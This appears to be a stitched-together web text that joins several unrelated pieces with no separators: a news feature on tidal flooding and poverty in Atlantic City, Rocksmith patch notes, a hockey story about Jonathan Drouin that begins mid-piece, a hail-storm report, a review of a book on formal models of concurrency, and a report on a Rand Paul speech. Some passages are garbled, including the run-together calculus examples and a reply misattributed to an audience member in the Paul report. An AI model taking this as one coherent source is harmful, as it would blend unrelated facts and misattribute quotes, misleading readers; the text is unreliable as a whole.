Atlantic City is among those facing the greatest risks, yet much of the high-value property that the Army Corps is working to protect was built on a higher elevation and faces less frequent flooding than neighborhoods occupied by working class and unemployed residents — an increasing number of whom are living in poverty.
Low walls called bulkheads built along Atlantic City’s shores to block floods have washed away, or were never built in the first place. Flap valves in aging storm drains have stopped working, allowing water to flow backward from the bay into the street when tides are high. At high tide, stormwater pools in Arizona Avenue, unable to drain to the bay. The flooding is getting worse because seas have been rising along the mid-Atlantic coast faster than in most other regions, and the land here is sinking because of groundwater pumping and natural processes. High tides in Atlantic City reach more than a foot higher than they did a century ago and sea level rise is accelerating.
New Jersey has done little to address the problem, aside from administering federal grants that have helped a limited number of residents abandon or elevate vulnerable houses. “We expect each town to focus on planning and budgeting for mitigating flooding,” said New Jersey Department of Environmental Protection spokesman Bob Considine. Atlantic City can nary afford the kinds of capital improvements needed to provide meaningful relief.
The Army Corps last year began a study of bay flooding in a sweeping stretch of New Jersey covering Atlantic City and 88 other municipalities, home to an estimated 700,000. The study was authorized by Congress in 1987, but it wasn’t kickstarted until federal research identified widespread risks following Superstorm Sandy.
The bay flooding study is “fairly early in the process,” said Joseph Forcina, a senior Army Corps official who is overseeing more than $4 billion worth of post-Sandy recovery work by the agency, including construction of a $34 million seawall in downtown Atlantic City and tens of millions of dollars worth of sand dune construction and replenishment nearby. The study is expected to take more than two years. “We really are in the data-gathering mode.”
The study will help the agency propose a plan, which Congress could consider funding, to ease flood risks when high tides and storms push seawater from bays into streets and homes. It will consider the effects of sea level rise but it won’t directly address flooding from poor drainage of rainwater, meaning any fixes spurred by the study are likely to be partial at best. “The Corps is not the agency that deals with interior drainage,” Forcina said. “That’s a local responsibility.”
Floods are driving up insurance rates, while routinely causing property damage and inconveniences. Federal flood insurance promotes coastal living in high-risk areas, and the program is more than $20 billion in arrears following Hurricane Katrina and Sandy. Arizona Avenue residents received Federal Emergency Management Agency letters in March warning of insurance rate increases ahead of 5 to 18 percent a year, which “makes us want to leave even more,” said Tom Gitto.
Raising three children on Arizona Avenue, Gitto and his wife have been unemployed since the closure last year of Trump Taj Mahal, where they worked. He said the flooding has become unbearable but property prices are so low that they feel trapped. Two houses on Arizona Avenue recently sold for less than $35,000. Gitto paid a similar price for his fixer-upper in the 1990s, then spent more than the purchase price on renovations. Flood insurance provided $36,000 for another refurbishment after Sandy ravaged their home.
Flooding strikes the Jersey Shore so often now that the National Weather Service’s office in Mount Holly, N.J., raised the threshold at which it issues flood advisories by more than 3 inches in 2012 “to avoid creating warning fatigue,” flooding program manager Dean Iovino said. Such advisories were being issued nearly every month in Atlantic City before the policy change, up from an average of four months a year in the 1980s.
One out of 10 of the 20,000 homes in Atlantic City are at elevations that put them at risk of flooding each year on average, Climate Central found, though some are protected by bulkheads and other infrastructure that help keep floods at bay. The research was published Wednesday in the journal Climatic Change.
The proportion of the city’s streets and homes affected by flooding is projected to quickly rise. Within about 30 years — the typical life of a mortgage — one out of three homes in Atlantic City could be inundated in a typical year. That would be the case even if aggressive efforts to slow climate change are put in place, such as a rapid global switch from fossil fuels to clean energy.
The worsening woes aren’t confined to Atlantic City, though risks here are among the greatest in America. Neighborhoods near bays can experience rapid increases in the number of streets and homes exposed to regular floods, with small additional sea level capable of reaching far into flat cityscapes and suburbs.
Elsewhere at the Jersey Shore, in Ocean City, N.J., the analysis showed one out of five homes are built on land expected to flood in typical years, a figure that could rise to nearly half by 2050. Other cities facing rapid increases in risks include San Mateo along San Francisco Bay in Silicon Valley, the lumber town of Aberdeen at Grays Harbor in Washington state, and Poquoson, Va., which has a population of 12,000 and juts into the Chesapeake Bay.
The greenhouse gas pollution that’s already been pumped into the atmosphere makes it too late to prevent coastal flooding from getting worse. It’s simply a matter of how much worse.
The benefits of acting now to slow the effects of warming later would become clearest in the second half of this century. In Atlantic City, if global pollution trends continue and defenses are not improved, 80 percent of current homes risk being inundated in typical years by the end of the century, the analysis showed. By contrast, if greenhouse gas pollution is aggressively reduced almost immediately, the number of homes expected to be exposed to that risk in 2100 would fall to 60 percent.
As efforts to protect the climate founder in the U.S. and elsewhere, unleashing higher temperatures and seas, communities like the DeDomenicises’ have three basic options for adapting. They can defend against floods with infrastructure that keeps tidal waters at bay, such as bulkheads, pumps, and marsh and dune restorations. They can accommodate the water using measures such as elevating existing houses and building new ones on stilts. And they can relocate altogether, an option that’s expected to lead to mass migrations inland during the decades ahead.
Modeling by University of Georgia demographer Mathew Hauer projects 250,000 being forced by rising seas from New Jersey by century’s end if pollution levels remain high, with nearly 1.5 million refugees fleeing to Texas from U.S. coasts elsewhere. And from Florida — the poster child for sea level dangers in the U.S. — 2.5 million may be driven to other states.
All three strategies are being pursued to some extent in Atlantic City. All of them are expensive, limiting the options available for a city in decline. “Cities boom and bust,” said Benjamin Strauss, coauthor of the new study and vice president for sea level and climate impacts at Climate Central, which researches and reports on climate change. “Neighborhoods can thrive, and fall into decay. Those are, to some extent, natural cycles of economic life. But now, superimposed onto that for Atlantic City at just the wrong time is this awful existential sea level threat.”
Barrier islands like Absecon Island, upon which Atlantic City grew as a gaming and vacation mecca, line the East Coast, from New York to Florida, natural features associated with the coastline’s wide continental shelf and shallow waters. Until barrier islands were developed and armored with seawalls, roads and building foundations, low-lying shores facing the mainland could keep up with rising seas. Wind and waves washed sand and mud over growing marshes, helping to build up the land. Now a century of development has locked down the shape and position of the islands, blocking natural processes.
“It’s a huge problem for the U.S.,” said Benjamin Horton, a professor at Rutgers University in New Jersey, which is a global leader in researching sea rise. “These barrier islands are important for so many things — important for housing, important for the economy. They’re important for a variety of industries. They’re especially important for ecosystems. And the barriers protect the mainland from hurricanes; they’re a first line of defense. You lose the barrier islands and where do you think the big waves are going to hit?”
As barrier islands and mainland coastlines were developed, wealthy neighborhoods clustered near ocean shores, where the elevations tend to be higher, which reduces flood risks, and where views are considered the best. Lower-income neighborhoods and industrial zones grew over former marshlands near bays and rivers, where swampy smells are strongest and where flooding occurs most frequently.
That divide between rich and poor is clearly on display on Absecon Island, where stately houses built on higher land facing the ocean are often occupied only during summer — when risks of storms are lowest. The vacation homes and downtown Atlantic City casinos will be protected from storm surges by a new seawall and sand dunes built by the Army Corps, despite lawsuits filed by homeowners angry that dunes will block ocean views.
Poorer neighborhoods are exemplified by Arizona Avenue, a block-long street between a bay and a minor thoroughfare. Bricks in fences and walls are stained by floodwaters and decaying beneath the effects of wakes from passing cars. The century-old, two-story houses have concrete patios and little landscaping — plants are hard to grow in the flood-prone conditions.
During high tides that accompany new and full moons, the street can flood on sunny days. Rubber trash cans can be buoyant in floodwaters, tip over and foul the street with spoiled food and bathroom waste, which residents sweep away after floods recede. Cars are frequently destroyed. Many of the houses along Arizona Avenue had to be stripped and renovated after Sandy filled them with floodwaters and coated walls and ceilings with mold.
The winter storm that inundated Arizona Avenue in March was a typical one for the region. The nor’easter struck during a full moon, meaning it coincided with some of the highest tides of the month. Floodwaters stopped rising a few inches beneath the DeDomenicises’ front door. Emergency crews patrolled in vehicles built to withstand high water. These kinds of floods are called “nuisance floods” by experts.
Nuisance floods are becoming routine features of coastal living around America, and their impacts are difficult to assess. Washington and other major cities could experience an average of one flood caused by tides and storm surges every three days within 30 years, according to a study published by researchers with the nonprofit Union of Concerned Scientists in the journal PLOS One in February. Rain and snow that fall during storms increase flood risks.
Residents of Arizona Avenue describe anxiety when tides and storms bring floods, especially if they aren’t home to help protect their possessions. The rising floodwaters can be emotional triggers — reminders of the upheaving effects of floods wrought by major storms like Sandy in late 2012 and Winter Storm Jonas in early 2016. Some of the residents have spent months living in hotels while their homes were repaired following storms. One of Tom Gitto’s children was born while the family was living in a hotel room paid for by the federal government after Sandy.
Susan Clayton, a psychology and environmental studies professor who researches psychological responses to climate change at the College of Wooster, a liberal arts college in Ohio, said such triggers can lead to sleeping difficulties, “profound anxiety” and other symptoms. The frequent risk of flooding may also make people constantly fear for their homes and for the security their homes provide.
“It tends to be very important to everybody that they have some place that they feel they can relax, where they can be in control,” Clayton said. “Your home is your castle. When your home is threatened, that can really undermine a sense of stability and security. It’s not just the flooding, it’s the idea that it’s your home itself that’s being threatened.”
The economic impacts of nuisance floods can also be far-reaching — researchers say they’re more impactful than most government officials assume. “Since they don’t get a lot of attention, we don’t have a data record of nuisance flooding costs,” said Amir AghaKouchak, a University of California, Irvine, scientist who studies hydrology and climatology.
AghaKouchak led a study published in the journal Earth’s Future in February that attempted to quantify the economic impacts in large coastal cities. The researchers were hamstrung by the dearth of data. Their preliminary findings, however, suggested that the cumulative economic impacts of nuisance floods might already exceed those of occasional disaster floods in some areas.
“There’s a lot of cost associated with this minor event,” AghaKouchak said. “Cities and counties have to send out people with trucks, pumps and so forth, they have to close down streets, build temporary berms.”
On Arizona Avenue, residents say they feel abandoned by all levels of government. Like an Appalachian coal town, many here depend upon a single industry — an entertainment sector that’s in decline, anchored by casinos that draw visitors to hotels, arcades, restaurants, gas stations and strip clubs.
“They forget about us,” said Christopher Macaluso, a 30-year old poker dealer who owns a house on Arizona Avenue and grew up nearby. “We’re the city. If they didn’t have the dealers, the dishwashers, the valet guys, the cooks and the housemaids, what have you got? We definitely feel left out.”
With casinos operating in nearby Pennsylvania and elsewhere following the lifting of gambling bans, the flow of visitors to Atlantic City has slowed over a decade from a gush to a trickle. Some towering casino buildings stand abandoned, like empty storefronts in a dying downtown. Others are filled well below capacity with gamers and vacationers; their gaudy interiors faded and gloomy.
One out of every six jobs in Atlantic City was lost between 2010 and 2016 as nearly 5 percent of the population left, according to the latest regional economic report by New Jersey’s Stockton University, which is building a campus in the city. The number of Atlantic City residents using food stamps rose to 15 percent in 2015, and more than one out of every five children here is now officially living in poverty.
President Trump’s construction of two ill-fated casinos in a saturated industry intensified the Atlantic City gaming bubble that began its spectacular burst a decade ago. (As president, Trump is dismantling regulations designed to slow sea rise and other effects of warming.) The city is so broke that its government operations are being overseen by New Jersey.
“From the moment they started pulling handles in Pennsylvania, the cash that was pouring into slot machines in Atlantic City started to fall,” said Stockton University’s Oliver Cooke, who compares the city’s economic plight to that of Detroit. “As the economy melted down and the land valuations in the city headed south, the tax base just completely melted away.”
Unable to pay for far-reaching measures taken by wealthier waterfront regions, like road-raising in Miami Beach and sweeping marsh restorations in the San Francisco Bay Area, Atlantic City has taken only modest steps to ease flooding.
Using funds from a bond sale and state and federal grants, the city has been refurbishing sluice gates in a canal that were built to control floodwaters but haven’t worked in more than half a century. It plans to replace flap valves in two stormwater drains near Arizona Avenue for $16,000 apiece. “We’re treating that money like gold,” said Elizabeth Terenik, who was Atlantic City’s planning director until last month, when she left its shrinking workforce for a job with a flood-prone township nearby.
That’s far shy of the tens of millions of dollars being spent just blocks away. The Army Corps is using Sandy recovery money to alleviate hazards in wealthier parts of the city and elsewhere on Absecon Island and in New York and other nearby states, while flooding affecting low-income residents of Arizona Avenue and similar neighborhoods is overlooked.
“The Corps does not say, ‘Here’s a problem, and we’re going to fix it’ — somebody has to ask them to help,” said Gerald Galloway, a University of Maryland engineering professor and former Army Corps official. “It depends on a very solid citizen push to get it done. The Corps of Engineers has a backlog of construction awaiting money. You need very strong organizations competing for it.”
Coastal New Jersey’s working class have little power in Washington and their cities manage modest budgets. The divide in Atlantic City reflects a grand injustice of global warming — one that’s familiar to Pacific nations facing obliteration from rising seas, and to Alaskan tribes settled by the government on shrinking coasts. While the wealthy may be able to adapt to the effects of climate change, the poor oftentimes cannot.
“In some cases, the most vulnerable populations will not be able to move,” said Miyuki Hino, a Stanford PhD candidate who has studied coastal resettlements around the world. “In other cases, they’ll be forced to.”
Hey all. Over the next few days, you should see a small patch appear for Rocksmith, on all platforms. The patch will be automatically delivered to you, regardless of platform. Here's what the new patch does:
- Input gain/calibration issues -- if your guitar or bass was not heard by the game or you were asked to constantly recalibrate it, that should not be an issue any more. (This, along with the cable detection issue, was fixed for PC about two weeks ago.)
- "Null pointer" crashes should be eliminated
- Various stability improvements. This should hopefully fix the seemingly random crashes some players were experiencing, particularly on PS4.
We are continuing to find the causes for issues with the software and eliminate them, so keep sending detailed information to support.ubi.com if you see something go wrong. They are your first and best ally when games misbehave! In the meantime, we are continuing to investigate some other known issues. The exact timing of tha patch's availability will vary per platform; we're posting them as soon as we can, but sometimes our first-party partners might have different schedules.
UPDATE: This patch is available on all six platforms:
Xbox One
Xbox 360
PlayStation 3
PlayStation 4
Steam (PC/Mac)
That’s how Jonathan Drouin‘s media availability unfolded Tuesday morning in Syracuse, where he spoke publicly for the first time since news broke that he had requested a trade from the Tampa Bay Lightning back in November.
“I’m not talking about the trade request,” the 20-year-old told reporters. (Watch above.)
Drouin, the third-overall pick in the 2013 NHL Draft, repeated his refrain again when asked directly about his relationship with Lightning head coach Jon Cooper.
Cooper said Monday that Drouin’s request out of Tampa came as a surprise to the NHL dressing room.
Drouin was assigned to AHL Syracuse on Saturday, where he played two games last season. He said he was excited to contribute to the Crunch and play his way back to the NHL.
“I’m here to help them win,” Drouin said. “It’s up to me to work and get back up there.
“You obviously want to be up there.”
Drouin scored six points in his first five games this season, then missed 19 games because of injuries and has just two points in his past 14 games.
He said he is 100 per cent healthy and has been since he returned on Dec. 30 to play the New York Rangers.
Lightning general manager Steve Yzerman addressed Drouin’s trade request Monday.
“I’ll do what’s best for the hockey team,” Yzerman told Sportsnet’s Mark Spector. “Any potential trade is going to made to make our hockey team better, not to [appease] a player.”
Crunch coach Rob Zettler said Tuesday Syracuse was excited to welcome Drouin to the team.
“He’s a talented player who’s going to infuse some energy,” Zettler said. “The best thing he can do for himself, for the organization, for Tampa, is to come down and work hard.”
Sportsnet’s Chris Johnston asked Drouin if he believes he’s played his last game for the Lightning.
“Hard to say,” Drouin replied.
"I've got a couple windows that are going to need to be replaced because there all pitted, said home owner Stacy Backhaus. “The hail stones literally looks like someone took a hammer and hit them all."
Winds ripped through the village leaving leaves and debris in yards and streets.
Volunteers outside of the St. Nazianz Christian Center Thrift store said the tree broke during the storm.
People in the town said the worst damage from the storm happened during about 5 minutes of hail. They said this was around 5:20pm.
"The winds are what drove the hail to cause the damage,” said Linda O’leary, employee of Pingel Insurance Company. “Most of the damage is cosmetic to houses, to the roofs, to vehicles."
O’leary said they had filed over 40 claims after Friday's storm. It also included damage to farms and crops.
"You could just see piles of hail along the road and obviously the crops are pretty damaged, but it’s good because its only the leaves on the outside," said Taylor Binversie about her family’s corn.
She is the daughter of the owner of Robinway Dairy farm.
O’leary said out of their 40 claims, one client called in about the damage on their farm.
"The corn crops got shredded,” said O’leary. “The stalks, the leaves got shredded and the strong winds bent them over."
Formalizing Concurrency, Distribution, and Mobility
Carlos A. Varela’s Programming Distributed Computing Systems: A Foundational Approach is a slim but impressive volume which takes a methodical approach to exploring the landscape of distributed computation, with very rich results.[1] A major premise of the book, that an awareness and understanding of the various models of concurrent computation is necessary for reasoning about various methods of distributed computation inspired this post, which will cover the major models used.
A computational model is a formal mathematical model that is used as a representation of computation, the most prominent example being the the λ (lambda) calculus, developed by Church and Kleene in the 1930s. Varela’s coverage of the models of computation is carried out with precision, and is based on the idea that, at an even higher level than the discussion of distributed computing:
“Theoretical models of computation are critical to be able to reason about properties of software, including the programming languages used to develop the software. Examples of software properties include expressive power, correctness, performance and reliability.”
Nothing revolutionary perhaps, but no less meaningful. Considering that each of the five models introduced could alone occupy several years if not a lifetime of research, this post aims to give an overview, and to provide some insight into the relationship that these models have to each other. Many of the most practical lessons one can take away from theoretical computer science result from comparing and contrasting computational models, and that practice is at the heart of this book.
Covered in the text are the λ (lambda) calculus, the π (pi) calculus, the actor model, the join calculus, and the ambient calculus. Most distributed computing work uses ideas taken from the π calculus or the actor model, though others are becoming more prominent. For me the impressive aspect of Varela’s work is how through rigorous comparisons and painstaking research, he shows the direct relationships between the computational models and the semantics of the programming languages which implement them. The direct encoding of the concept of concurrency into the post λ calculus models is an abstract but powerful concept that Varela communicates quite effectively.
The λ Calculus
The earliest and best known model is notable for its ability to concisely express sequential computation. While the λ calculus does not explicitly encode concurrency, it is the basis for all other models (even appearing “inside” the actor model) and understanding sequential computation is crucial for understanding concurrent computation.
The λ calculus (like all of the other models presented) is Turing-complete, that is “any computable function can be expressed and evaluated using the calculus.” The usefulness of a formal model like the λ calculus is that its simplicity and high level of abstraction make it very easy to reason about. This quality makes it well suited for studying and formalizing even complex programming language concepts.
A direct connection with programming languages is made in covering the various evaluation orders that have been explored for the λ calculus. Evaluation order refers to the rules for reducing or “solving” λ calculus expressions. This concept maps cleanly onto the semantics of modern functional programming languages. Normal-order is the simplest in many ways and is the “best-behaved” with respect to termination guarantees, but most programming languages use applicative order, for efficiency reasons. The Haskell programming language is well known for implementing a by-need or lazy evaluation order where partially computed functions are passed around to represent the results of not-yet-needed work. The following trivial example shows how values are passed in to a function and evaluated:
( λx.x * 2 2 ) 2 * 2 4
The value of 2 is captured by the free variable x in a substitution. The function x*2 becomes 2*2 which becomes 4 . This should start to give you a feel for the semantics of the calculus, which are simple but very powerful, but by no means represents what is possible. If the λ calculus is new to you, seek its beauty elsewhere.
In addition to evaluation order, other familiar concepts to functional programmers are covered included Currying, higher-order programming, sequencing, and recursion. Finally some details on how numbers and booleans can be represented in the calculus are discussed, which is a fascinating bit of detail that many professional programmers might not be familiar with. Combinators used to express numbers and true and false as a curried function is not day-to-day programming, but can provide some deep insights into the foundations of the systems we become intimately familiar with through use.
While it is amazing how deeply the model tracks with a host of mathematical concepts, as the author proceeds to introduce other models, the depth of the fundamental hook of explicitly representing multiple processes, which is missing from this model, becomes clear.
The π Calculus
The π Calculus is a formal model for specification, analysis and verification of systems composed of communicating concurrent processes, developed by Robin Milner et al in 1992, as a continuation of Milner’s earlier work in specifying a process calculus known as the calculus of communicating systems (CCS). In the π calculus, concurrent computation is modeled as processes communicating over shared channels. The operational semantics of the π calculus is presented, which explains how a well-defined set of inference rules determine the evaluation order and scoping rules of a π calculus expression.
The π calculus syntax includes operations for reading and writing values on channels, in addition to operations for declaring, composing, comparing, and executing processes. Take the following basic example of a π calculus interaction:
a ( x ) .P | āb.Q. P { b/x } | Q.
The | operator denotes concurrent composition. Process P and process Q are communicating over channel a . The first line represents the initial state, and the second line represents the state post-transition. The Q process will write the value b over the channel a , written here as ā because it is being written to. The value b has been communicated from Q to P over a . Being able to model concurrent processes in practice make expressing complex systems easier and formal reasoning about them possible.
The model relies on the concept of strong bisimilarity to provide a notion of process equivalence. In using modern programming languages, we sometimes take for granted our ability to compare two abstract entities and ask the computation at hand if they are in some way equivalent. This idea drills all the way down to the model level, where those decisions have to be made, based on the rules of reduction, possible inputs, etc. In other words, it is mathematically possible to prove, even in the full π calculus, that two processes are functionally equivalent.
We also see various examples modeled in the π calculus that very viscerally demonstrate how concepts common to a practitioner (a “get server” and a “set server” are modeled, along with a mutex and an implementation of the dining philosophers problem) relate to the expressiveness of the underlying computational model. Varela says “The semantics of a concurrency model explains precisely the behavior of its elements.” We see written “in math” what is normally written in a scripting language to make similar points. Varela fearlessly tackles this challenge, providing these examples not only in each computational model discussed, but also in programming languages which rely on these models later in the book.
The key difference between the π calculus and its predecessors in CCS and C.A.R. Hoare’s communicating sequential processes (CSP) is its explicit ability to send channel names between processes, allowing dynamic topologies, a property known as mobility. The remaining models in the book also have this property, which was inspired by the actor model. Since the π calculus can explicitly model changing topologies, it takes a very strong step in the right direction of unifying the practice with the underlying computational model.
The Actor Model
Of the models covered in this book, the actor model is probably the best known besides the λ calculus. Embodied in programming libraries and languages like Erlang, the actor model defines actors as the primary components of computation, where shared-nothing memory and asynchronous communication are assumed. Varela’s snappy definition says that:
“Actors are first-class history-sensitive entities with an explicit identity used for communication.”
In practice, actors are somewhat complex when combined in large numbers. The rules on a micro level, however, are simple. Actors can perform one or more of the following actions upon receiving an asynchronous message:
send a message to an acquaintance, an actor whose identity is known to the actor a, create a new actor a’, with a given behavior b, or become ready to receive a new message with new behavior b
This behavior allows the actor model to be an open system, so called because new components can be added by creating new actors dynamically, and because an actor can change behaviors dynamically. This means that a few actors can create a large graph of actors, and that the messages between them can include the names of actors, making very complex systems possible.
The actor model assumes fairness in a way that the other models do not - message delivery is guaranteed, and thus message processing is guaranteed under the correct conditions. It is worth noting that while assuming fairness makes reasoning simple, it potentially makes implementation challenging and expensive.
The formalized version of the actor model presented in this book is a more modern semantics that is sensitive to the realities of the implementations of actors in programming languages. The computational expense of creating new actors impacted the decision for which primitives to include, favoring a more efficient approach. Varela has this to say on the influence of the actor model on programming language theory:
“The actor model has influenced the development of several programming languages. Sussman and Steele developed Scheme in 1975 in an attempt to understand the actor model first conceived by Carl Hewitt (Sussman and Steele, 1998). Early actor languages developed at MIT include PLASMA (Hewitt, 1975) and Act1 (Lieberman, 1981). More recent actor languages include Acor, Rosette, ABCL, Erlang, E, and SALSA.”
Actors stand outside the other process calculi presented in many ways - seemingly spontaneously conceived and radically different in formation then the others, actors seem more tangible, can be explained simply, and model real world problems well. But because they are “higher level” and guarantee fairness, but do not explicitly encode notions of location, for instance, research continues toward designing models that approach being isomorphic with production distributed systems.
The Join Calculus
At this point in the book it becomes clear that we are searching for a model which allows for explicit reasoning about distribution and mobility. As straightforward as the translation from the actor model to a programming language is, given my background, the join calculus was equally abstract and bizarre to encounter. Varela has a concise definition, which is nicely fleshed out throughout the chapter that covers it:
“Concurrent computation is modeled in the join calculus as a reflective chemical abstract machine, where heating and cooling of molecules and atoms occurs according to reaction rules that can evolve over time.”
Molecules are processes running in parallel, which can combine and evolve into other processes over time according to the reaction rules. This sounds similar to how in the actor model, actors can change behaviors. In the join calculus, distribution and mobility are represented with a combination of molecules and reaction sites that model localities and correspond to rules with statically scoped names. Communication is constrained to reaction sites which are lexically scoped definitions. The join calculus, like the π calculus, but unlike the actor model, does not address fairness.
The join calculus is the first model I encountered that represents systems using the idea that conditional actions in a distributed system can be modeled as conditional reactions occurring at explicitly visited sites. Isolating the logic of a system to the sites where they occur is definitely a step in the right direction. To show a very simple example, as shown below: reactions are denoted D or J ▸ P where J denotes a join pattern that molecules must match for a reaction to take place, and P denotes the resulting molecules from the reaction.
D = ready<printer> | job<file> ▸ printer<file> D ⊢ ready<laser> | job<f1> D ⊢ laser<f1>.
The initial solution shows that if the pattern ready<printer> | job<file> is matched, the reaction printer<file> will take place, ostensibly sending the data from file to the printer . The second line shows ready<laser> and job<f1> visiting the reaction site, thus activating the condition above. The final line shows laser<f1> , the data from f1 is sent to the printer called laser . This kind of program can become arbitrarily elaborate, but this simple program shows a novel approach. The challenge remains of how to represent the rules in a distributed system in as concise, declarative, and central manner. There is a later chapter in Varela that is devoted to programming in JOCaml, an OCaml variant that uses the join calculus model for concurrency.
Processes in the join calculus can be compared for equivalence based on the idea that “Two programs are considered to be equivalent if they behave the same when placed in any observing contexts.” The join calculus is extremely complex and the semantics are hard to grasp. While I still struggle with them, I have taken away the idea that the join calculus provides at least the power of the π calculus with some apparent gains in expressiveness. Additionally since the join calculus explicitly reasons about distribution and mobility, the challenges of addressing locality, for example, in distributed systems becomes possible where it is now very challenging.
The Ambient Calculus
Besides having an awesome name, the ambient calculus is a fascinating formulation of a very difficult type of system to model - one where mobility and hierarchies of process are explicit. From a paper by the authors of the model:
“The ambient calculus is a process calculus whose basic abstraction, the ambient, represents mobile, nested, computational environments, with local communications. Ambients can represent the standard components of distributed systems, such as nodes, channels, messages, and mobile code. They can also represent situations where entire active computational environments are moved, as happens with mobile computing devices, and with multi-threaded mobile agents.” [2]
Varela’s treatment of the ambient calculus conveys the novelty of the expressive power of the model, illustrating how ambients, which contain calculations, are reduced from complex expressions to calculated outcomes. Notions of scope, memory sharing and fairness are covered, as well as how the semantics of the model relates to the others presented. The following example is given to introduce the expressive powers and aims of the model:
m[p[out m.in n.<M>]] | n[open p. ( x ) .Q]. m[] | n[open p. ( x ) .Q] | p[in n.<M>]. m[] | n[open p. ( x ) .Q | p[<M>]]. m[] | n ( x ) .Q | <M>]. m[] | n[Q { M/x }] .
These five lines represent an initial state, three transitions, and a final state for a simple interaction where a network packet p moves between two machines on a network represented by two processes m and n . The keywords out , open , and in should stand out, as they are used to represent the notion of ambients representing mobile data in a system. <M> is data ready to be written and (x).Q is data to be read. To step through:
Process m is an ambient which contains one other ambient, p . Ambient n contains some instructions pertaining to ambient p . Ambient p moves outside of ambient m . Ambient p moves inside ambient n . The open expression inside ambient n is now activated: an ambient named p is on the same level and a message is ready to be sent. p has been opened and destroyed, and the processes can now interact, the data is read, and instances of x are replaced with M .
While a bit confusing out of context, the above should illustrate how far we have come in being capable of modeling in a formal sense what we have had to deal with on a library level for so long. Concurrency, distribution, and mobility being baked into our formal models can have potentially huge payoff. As Varela says:
“The key difference between the π calculus and the ambient calculus is the latter’s ability to model hierarchical process boundaries, movement of active ambients across those boundaries, and the restricted interprocess communication to inside an ambient boundary.”
Unique to the ambient model are the concepts of entry, exit, and open, which are the operations the model uses to specify the movement of ambients. The notation is illustrated and although even basic examples take time to get through, it is worth it to see how a correct program concerning the communication of distributed processes might look, however tiny.
In fact the idea that the calculus is capable of explicitly modeling mobility and hierarchies makes me believe that some day we will have verified distributed programs written in higher level languages whose semantics are modeled after advanced models of computation such as the ambient or join calculi.
Ontological Commitments, Expressive Power, and Semantics
One of the highlights of the book is the chapter that acts as a bridge between the description of the various models and the example implementations. After laying out the models, we see how to compare them, which prepares us well for how they will be implemented in a programming language and used in various examples.
The ontological commitments of each model consist of two primary decisions - synchronous vs. asynchronous communication and shared vs. distributed memory. The actor model stands out amongst all of the others: it alone assumes an asynchronous approach to communication and a distributed approach to modeling memory. If you’ve wondered about the depth of Hewitt’s work on the actor model but haven’t been convinced, this chapter will likely give you pause - it is truly a radical, simple, powerful abstraction.
The section about the expressive power of each model is dense but fascinating. Each model is shown to be Turing complete, and each is expressed in terms of either the λ or the π calculus, which is mind-bending and something that I surely do not fully grasp the depth of. You might, in which case I recommend this book highly.
Finally the semantics of each model is discussed, with the following properties being highlighted:
Can it model unbounded concurrency? According to Varela:
“One of the key differences between earlier models of concurrency – such as Petri nets, calculus of communicating systems (CCS), or communicating sequential processes (CSP) – and more recent ones is the latter’s ability to model unbounded concurrency.”
In this context, unbounded concurrency relates to the expressive power of the model.
Composability refers to the ability to combine simpler systems into more complex ones. In order to be composable, a model must be modular. Modularity relates to how reasoning that applies to the parts of a system hold when the system becomes more complex through composition. Each of the modern models of concurrency supports composition through an interface that allows the model to consider processes interacting with each other.
Fairness is “a semantic property that ensures that valid (infinite) computation paths do not consistently ignore one of the possible ways in which a computation may evolve.” The only model that explicitly supports fairness is the actor model. The others are designed in a way which hopefully mitigates this necessity.
The discussion of the final two semantic properties, distribution and mobility, drive home some of the central points this book is trying to make.
“Distributed computing is inherently concurrent. However, distributed aspects go far beyond concurrency. Of particular importance from a modeling perspective is the capability to reason about the location (and potential co-location) of concurrent computations, the heterogeneous cost of interaction, the security aspects of interaction across multiple locations, and the potential for partial failures.”
Each of the models presented allow us to reason about distribution to varying degrees. The π calculus has no explicit representation of locations, although it can implement a variety of (potentially expensive) abstractions to represent mobility. The actor model similarly does not provide a semantic distinction between processes on the same machine and processes distributed across a network.
The formal aspects of this chapter were very helpful in my attempts to understand the subtleties and value of each model, and the categories above are valuable when evaluating other models.
Conclusion
The five computational models presented as the basis for understanding concurrent computation in Varela’s Programming Distributed Computing Systems present an array of approaches for representing computation in a distributed system. What is made explicit in this text is that computational models exist which explicitly model qualities of distributed computation. Programming languages based on these computational models will inherently be more powerful and potentially more expressive (if they are implemented properly) because they do not have to consider or implement qualities which their models do not account for.
The last part of the book covers programming languages which implement these various models. While far from perfect, these languages and their summation provides evidence that there is purposeful work to be done if we are to achieve a natural system of designing programs destined to run on a distributed platform. Layers and layers of software currently represent what could be shed if assumptions were baked into the design of systems from the outset. Distributed systems practitioners could benefit from researching the various process calculi and their predecessors, to appreciate the deep connection between their work and the theoretical underpinnings which sometimes seem so distant.
Works Cited
All quotes unless otherwise noted from Varela
[1] Varela, Carlos A. Programming Distributed Computing Systems: A Foundational Approach MIT Press, hardcover, ISBN 978-0-262-01898-2, 2013
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Paul’s comments came to the New Hampshire chapter of Generation Opportunity, a national grassroots conservative group with a libertarian appeal with thousands of young liberty-minded activists nationwide engaged through it.
Paul focused much of his remarks on executive overreach by President Barack Obama, saving some of his most interesting points for a question-and-answer session at the end.
“There’s a rumor going around you might run for president in a couple years,” a young man shouted as Paul took questions from the audience for several minutes after a 15-plus-minute speech.
“I know, it’s crazy,” the young man followed up. “You spoke for a bit on the executive orders tonight. If you were to receive the presidency would you repeal previous executive orders and restrain the power of the presidency?”
“Absolutely,” the man shouted back at Paul. “You should run.”
While he’s not officially running for president – yet – Paul recently told Breitbart News he will decide whether to make a bid for the Oval Office by next spring, and his trip to New Hampshire, the site of the nation’s first presidential primary, is one of many trips he’s taken to key states over the past two years.
In a brief interview with Breitbart News outside after the speech and question-and-answer session, Paul said he thinks the president’s executive overreaches are massively unpopular nationwide and will have electoral consequences for candidates in races ranging from this year’s Senate races to 2016’s presidential contest.
Before Paul spoke at the event, his staff kicked out liberal operatives there to videotape him to use it to attack him–called “trackers” in professional politics–from American Bridge.
Paul’s reason for being in New Hampshire is a series of events he’ll attend with Scott Brown and other Republican candidates on Friday, including a post-primary “unity breakfast,” to unite the party here behind Brown heading into November’s battle with Sen. Jeanne Shaheen (D-NH). But it certainly didn’t hurt a likely 2016 candidate like Paul to hit up the bar with conservative college-age or just-out-of-college kids from Manchester while in town.
“How many people here have a cell phone?” Paul asked to open up his speech, as many held theirs up to show him. “How many people think it’s none of the government’s damn business what you have on your cell phone?”
“None!” everyone shouted.
“I’ve been thinking that’s true,” Paul joked. “But I’m really, really worried about Anthony Weiner. Because you know he likes to take his selfies, and he’s had trouble finding a place to put them where the government can’t find them. So I’m thinking maybe Anthony Weiner should put his selfie in Lois Lerner’s emails.”
